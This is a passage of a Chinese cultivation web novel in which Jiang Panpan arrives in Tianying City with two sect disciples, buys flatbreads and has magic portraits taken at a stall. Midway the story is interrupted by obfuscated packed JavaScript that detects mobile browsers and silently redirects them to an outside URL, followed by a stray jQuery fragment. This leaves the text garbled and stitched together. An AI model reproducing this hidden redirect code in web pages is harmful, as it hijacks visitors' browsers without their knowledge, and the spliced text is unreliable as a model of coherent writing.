秦渭:“……!”他就知道!这才是他的大师兄,外人都觉得自家大师兄光风霁月、如山巅雪、云中月,只有他这个身边人知道,这人其实蔫坏蔫坏的!
但大师兄再蔫坏也是他心中最好的人!
“你救济她也有个十几年了吧?我看她那根骨,这辈子撑死了也就金丹期,还不如重新投胎有用。”
秦渭露出个尬笑,“大师兄,你真会开玩笑。”
“你看我像是在开玩笑吗?”卫沉此刻正拿着一块软布细细地擦他的那把银剑,剑锋凌厉,寒光刺目,他的动作温和缓慢,但秦渭知道,那把剑有多快。
“大师兄……我以后再也不接济柳师妹了还不行吗?”秦渭立刻服软,他从储物戒里掏出一把红缨果,献宝似的送到卫沉面前,“大师兄你看,这是你给我的红缨果,之前柳师妹找我要,我都一颗没给!我大师兄给的东西,我怎么能给别人呢?我一直都舍不得吃呢!”
卫沉目光凉凉地瞥了他一眼,他伸出手,从秦渭掌心拿了一颗,扔嘴里吃了,然后在他肉疼的目光中,又抓了一半,递给了江盼盼。
江盼盼看了眼秦渭肉疼的模样,笑道:“我不用了,还是让秦道友自己留着吃吧。”
毕竟她之前都吃过九个红缨果了。
秦渭听了,一脸感动,连连点头。
卫沉不以为意,直接塞到江盼盼手上,“留在他手里,就算不是给柳师妹,最后也会落到秦师妹王师妹李师妹手里,还不如你吃了。”
“大师兄给我的东西,我怎么会给别人呢?!”秦渭急了,跳起来说道。
“我给你的灵石,你给她们的还少了?”卫沉扬眉。
秦渭一时语塞,半晌讷讷道:“……大师兄,你不是这么小气的人。”
“看来你还不够了解你大师兄。”卫沉凉凉地瞥了他一眼。
秦渭不敢说话了,只不舍地看了眼江盼盼手中的红缨果。
卫沉专注地擦着自己的剑,也没抬头。
趁着卫沉没注意,江盼盼拍了拍秦渭的肩膀,偷偷地将红缨果塞回到了他的手里。
秦渭立刻双眼泪汪汪的,一脸感动地看着江盼盼,用口型道:“呜呜,盼盼,你真是个好人!”
红缨果这种能增进修为的极品灵果,修真界的人少有不动心的,江盼盼得了他的一半,竟能抵住诱惑还给他,实在是太太太善良正直了!
江盼盼在秦渭心目中的地位直线上升,连称呼也一下子从“江道友”变成了“盼盼”,秦渭已然把江盼盼看成了自己人。
江盼盼意外看懂了秦渭的意思,她忍不住笑了,眉眼弯弯的样子让她那张娇艳的脸蛋添了分暖色。
卫沉抬了抬眼,从那二人身上一扫而过,复又收回了目光。
飞行法器的时间确实比御剑要慢一些,三人抵达天应城的时候,已经入了夜。
“盼盼,前方便是我们青云宗境内的天应城了!”江盼盼正靠在窗上打瞌睡,秦渭激动地拍了拍她,“天应城是修真界最大最热闹的都城,夜景也是一绝,快起来看看!”
江盼盼一听,忙睁开眼,跟着秦渭一起扑到了飞行法器的前面,远远的,江盼盼就看到了一个灯火辉煌的都城。
江盼盼很没出息地“哇”出了声,那感觉很奇怪,像是在看电视剧里用特效加持过的古代都城,虽然不像现代都市有电灯,但那些璀璨的灯火却不半点不输都市的霓虹灯,而且天空中还不时有御剑的修士飞过,给江盼盼一种来到魔法世界的错觉。
“好漂亮呀!”江盼盼赞叹道。
秦渭一脸得意,“有我们宗门坐镇,邪魔歪道不敢过来,所以这里的百姓才能安居乐业,一派繁荣。”
江盼盼听了,下意识地看了卫沉一眼,心中暗笑:少年,最大的邪魔歪道就在你身边呢!
“盼盼看我做什么?”卫沉的感官一向敏锐,他似笑非笑地抬了抬眼。
“我是在想,青云宗有卫道友这般厉害的修士,也难怪天应城能如此繁荣了。”江盼盼的彩虹屁张口就来。
“盼盼说得对,我大师兄最厉害了!”秦渭一听,立刻附和,典型的无脑吹。
两人说话间,飞行法器已然在天应城城门口停了下来。
“盼盼,离开山之日还有三日,今晚你先在城里的客栈歇息一晚,明天我陪你去报名。”秦渭领着江盼盼往里走,一边走一边嘱咐。
“好的,谢谢你啊,秦道友。”江盼盼边说边看,天应城显然比御心门下的小镇繁华太多了,街道上人来人往,车水马龙,热闹非凡,各种店铺一应俱全,小摊小贩也到处都是。
江盼盼觉得自己的眼睛都要不够看了。
“嗨,还叫什么秦道友?你叫我秦渭就行。”秦渭说道。
“好啊,秦渭。”江盼盼看着秦渭那和善的圆脸,只觉得非常亲切,她笑眯眯地应了一声,然后在一个卖烧饼的小摊前停了下来,“好香啊,老板,给我来三个烧饼!”
“仙子稍等,马上就好!”摊贩闻言,立刻开始动手烙饼。
这里的凡人都称呼女修为“仙子”,江盼盼听在耳里,觉得分外有意思,江盼盼一边等着烧饼,目光已经落到了别处的小吃摊上,这里有江盼盼熟知的一些小吃,还有江盼盼从未见过的,她边看边想,既然来了这修真界,必须得好好体验一回,没吃过的都得吃一遍才行。
“好了,仙子请收好。”江盼盼正在心里流着口水畅想,摊贩已经将三个烧饼递到了江盼盼手里。
“多少钱?”
“三枚下品灵石。”
太便宜了!这简直就是吃货的天堂!
江盼盼喜笑颜开,正准备掏钱,身后的卫沉已经扔了一枚上品灵石过去,财大气粗地说了一句,“不用找了。”
然而下一秒,就见秦渭眼疾手快地将那枚上品灵石捞了回来,然后自己掏了三枚下品灵石给了那摊贩。
卫沉:“……”
“大师兄,你知不知道这一枚上品灵石,都能买一万个烧饼了!”秦渭一副“痛心疾首”的表情,“我们花钱不能大手大脚。”
“你在教我怎么花钱?”卫沉凉凉地瞥了他一眼。
“不……我只是在心疼大师兄的钱……”秦渭立刻识时务地改了口。
“来来来,吃烧饼了。”江盼盼拿着烧饼,给秦渭和卫沉各分了一个。
卫沉走在前面,江盼盼和秦渭落后两步,江盼盼拍了拍秦渭的肩膀,小声道:“我支持你,花钱确实不能大手大脚!还是你勤俭持家!”
虽然她现在是个富婆,但是她仍然觉得花一枚上品灵石去买三个烧饼,属实太过烧钱了!
钱要花在刀刃上!
秦渭一脸感动地看向江盼盼,一副找到知己的模样,“盼盼,还是你懂我!天应城里你想买什么尽管问我,我保证给你介绍一家最实惠的!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731739|144610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>江盼盼连连点头。
就在这时,前方一个小摊前面发出一阵惊叹声,她抬眼一看,就看到摊子前围满了人,摊主拿着一个透明的白色圆球,放到一个女顾客头顶上轻轻一捏,就有一阵纷扬的雪花落了下来,那雪花还自带打光效果,将那女顾客的脸照得非常唯美。
与此同时,摊主拿着一颗珠子对着那女顾客一照,女顾客在雪花下的脸就这么被照进了珠子里。
“姑娘看看,效果可还满意?”摊贩笑眯眯地问。
女顾客接过珠子,将里面的画面放大,一张唯美的人物画就出现在了她的面前。
画像里的自己站在雪花下,清冷又唯美,非常适合拿给媒婆相亲用。
女顾客面含喜色,连连点头道:“好看,谢谢老板!这是五枚中品灵石,给你了。”
女顾客付完钱,便拿着那颗珠子高高兴兴地走了。
江盼盼看得目瞪口呆,那不就是拍照吗?!还能定制场景!即拍即得!
“那就是最简单的小术法,用低阶留影珠留下画像,也就只能骗骗凡人,还要五枚中品灵石,实在是黑!”秦渭话音刚落,就见江盼盼兴致勃勃地挤了上去。
秦渭:“……”
江盼盼挤过去才发现,那摊子上摆着许多透明圆球,里面装着不同的东西,分为三类,一是服饰、二是首饰配饰、三是背景道具,不仅能定制场景,还能搭配不同的衣裳首饰,简直就是现代版的速成影楼!
那些服饰配饰和背景看起来都美轮美奂,让人目不暇接。
“老板,我要这个、这个、这个……都给我来拍一张!”江盼盼一下子点了十个圆球,开开心心道。
秦渭:……说好的要勤俭持家呢?!
摊贩见江盼盼如此财大气粗,笑得合不拢嘴,“仙子稍等,小的定给您留下最美的画像!”
江盼盼正准备凹造型,低头看到自己手中吃到一半的烧饼和灵果汁,旁边无处可放,她只好朝秦渭招了招手,“秦渭,快来帮我拿一下!”
“盼盼,十个圆球要五十枚中品灵石。”秦渭走了过去,忍不住小声提醒道。
“放心,我有钱!”江盼盼说着,将烧饼和灵果汁塞到秦渭手里,然后开始凹造型。
她这个年纪的女生,最喜欢的便是拍照,江盼盼自然也不例外。
她以前的手机里,不知道下了多少个美图软件,每每和朋友出去玩,手机里都能多出一堆照片,所以对于拍照这件事,江盼盼不仅喜欢,还很擅长,尤其是凹造型。
黑衣冷艳、白衣出尘、黄衣俏皮、红衣明媚……配上相应的发饰以及场景,留影珠拍下了江盼盼一张又一张照片。
她没有发现,从她出现在摊子前的那一刻,她就成了所有人的焦点。
她身上穿的还是卫沉给她的那套男装,她图省事,用一根缎带扎了个马尾,其他配饰一概没有,可以说是相当朴素。
但是在那些圆球术法的加持下,她穿上了一套套美丽绝伦的女装,而且还有相应的发型配饰,她的容貌,立刻便清晰地映在了众人的眼里。
她貌美绝伦、活泼俏皮,眼中似盛着璀璨星光,如游走在这暗夜里的盈盈之光,让人忍不住便被吸引。
卫沉站在人群之外,静静地看着被围在中间、旁若无人地摆着各种姿势的江盼盼,他的眸中泛出一丝兴致,这样鲜活美丽的东西、或者……人,他倒是许久不曾见过了。